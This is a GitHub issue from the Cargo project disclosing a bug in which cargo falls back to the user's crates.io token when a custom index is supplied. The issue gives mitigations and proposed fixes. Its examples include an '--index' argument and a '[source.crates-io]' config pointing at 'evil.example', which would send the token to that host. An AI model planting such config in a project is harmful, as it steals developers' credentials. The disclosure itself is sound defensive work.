Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cargo may leak private tokens when overriding the crates.io index #6545

Closed
jtgeibel opened this issue Jan 12, 2019 · 1 comment · Fixed by #7973
Closed

Cargo may leak private tokens when overriding the crates.io index #6545

jtgeibel opened this issue Jan 12, 2019 · 1 comment · Fixed by #7973
Assignees
Labels
C-bug Category: bug

Comments

@jtgeibel
Copy link
Member

Introduction

I've discussed this with the rust-lang security team, and we have agreed that it is appropriate to publicly discuss this issue and the proposed fixes. This issue does not affect users during their typical workflow. While there may be some window for social engineering, users do not typically run the affected commands from within an untrusted codebase.

Users of the affected functionality (or who wish to be extra cautious) are able to protect themselves with the workaround below while a fix is implemented and rides the release train.

If you have any reason to believe your private token may have been exposed, please visit https://crates.io/me to revoke your token and generate a new one.

The Issue

Cargo will fall back to the value of [registry.token] when a custom index is provided via the command line (--index) or specified via various source replacement ([source.*]) configuration options. Unless the user specifically overrides this value, it will fall back to the value stored in $HOME/.cargo/config, which is almost always the user's token for the official crates.io registry.

As a point of clarification, this doesn't affect the alternative registry feature (via entries under [registries.*]) which is in the process of stabilization. Alternative registries are tangentially related, and the most likely fix is to make the problematic features mirror the alternative registries implementation.

Command Line --index Argument

If a user provides an --index https://evil.example/index argument to certain sub-commands, then the user's private token will be exposed unless the user has taken specific action to customize their configuration. The affected sub-commands are publish, yank, and owner. The search sub-command hits the API endpoint but does not provide an authorization token and is not affected.

Because the affected sub-commands need to know the crate's name, they must be run from within a cargo project. Otherwise, you will receive "error: could not find Cargo.toml in /current/directory or any parent directory".

Via Source Replacement

It is also possible to override the official crates-io index via source replacement. Additionally, this can be configured in a project specific .cargo/config file. For example, the following will configure a "mirror" of crates.io and use it as the default registry.

[source.crates-io]
registry = "https://evil.example/index"
token = "ignored"

Because unknown property names are ignored by cargo, the specified token is silently ignored and cargo searches the path hierarchy for [registry.token]. This diverges from the implementation of alternative registries which requires a token to be provided alongside the override, or within a .cargo/credentials file.

The documentation for source replacement does not mention how to properly configure [registry.token]. It is likely that users forget to configure a custom token, or use the wrong syntax.

In place of registry = "..." above, the following field names are also available: git, local-registry, directory, and replace-with. These cover similar but slightly different use cases. In all of these situations, cargo will read a config.json file (if present) from that location and will use the value of the api key as the API endpoint. If an attacker controls the contents of config.json and tricks the user into running an affected sub-command, then the user's token will be exposed.

Mitigation

Until you are running a patched version of cargo, if you specify an --index on the command line, you should ensure you provide a value for --token as well.

If you are working within a potentially untrusted codebase then you should create a .cargo/config file within a trusted parent directory containing the following:

[registry]
# Shadow my real crates-io token
token = "private"

This will protect you if you accidentally run one of the affected sub-commands: publish, yank, or owner. Of course, running sub-commands such as build or run on an untrusted codebase is also potentially dangerous.

If you are using source replacement in a mirroring or vendoring situation, then the affected sub-commands are not typically applicable. You should override the token as shown above as a precautionary measure.

If you do need to run the affected sub-commands, then you must ensure that the replacement index is trusted to always point to the official crates.io endpoint.

If you're using source replacement for anything else, then it's probably best to see if the alternative registry feature fits your use case. Alternative registries are currently an unstable feature, but the functionality is on track to stabilization.

Proposed Fixes

While these are technically breaking changes, I believe the following changes are necessary for any commands that make authenticated API requests:

  • Always require --token on the command line when using --index.
  • When using a [source.*] configuration, require that a token = "..." be specified within [source.*] or provided via --token on the command line. A more extreme change would be to disallow these API calls entirely when a source replacement is in effect. The two documented use case for this functionality are mirroring and vendoring. It is not clear why users would be using these commands because in both use cases such commands should be executed against the official index and API anyway.
  • Neither of these scenarios should fall back to the [registry.token] value, no matter where in the path hierarchy that value is configured. The value of [registry.token] should only be used when interacting with the official index.
@jtgeibel jtgeibel added the C-bug Category: bug label Jan 12, 2019
@ehuss ehuss added the I-nominated-to-discuss To be discussed during issue triage on the next Cargo team meeting label Jan 15, 2019
@nrc nrc removed the I-nominated-to-discuss To be discussed during issue triage on the next Cargo team meeting label Jan 16, 2019
@nrc
Copy link
Member

nrc commented Jan 16, 2019

Discussed in the Cargo meeting @ehuss to implement

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
C-bug Category: bug
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants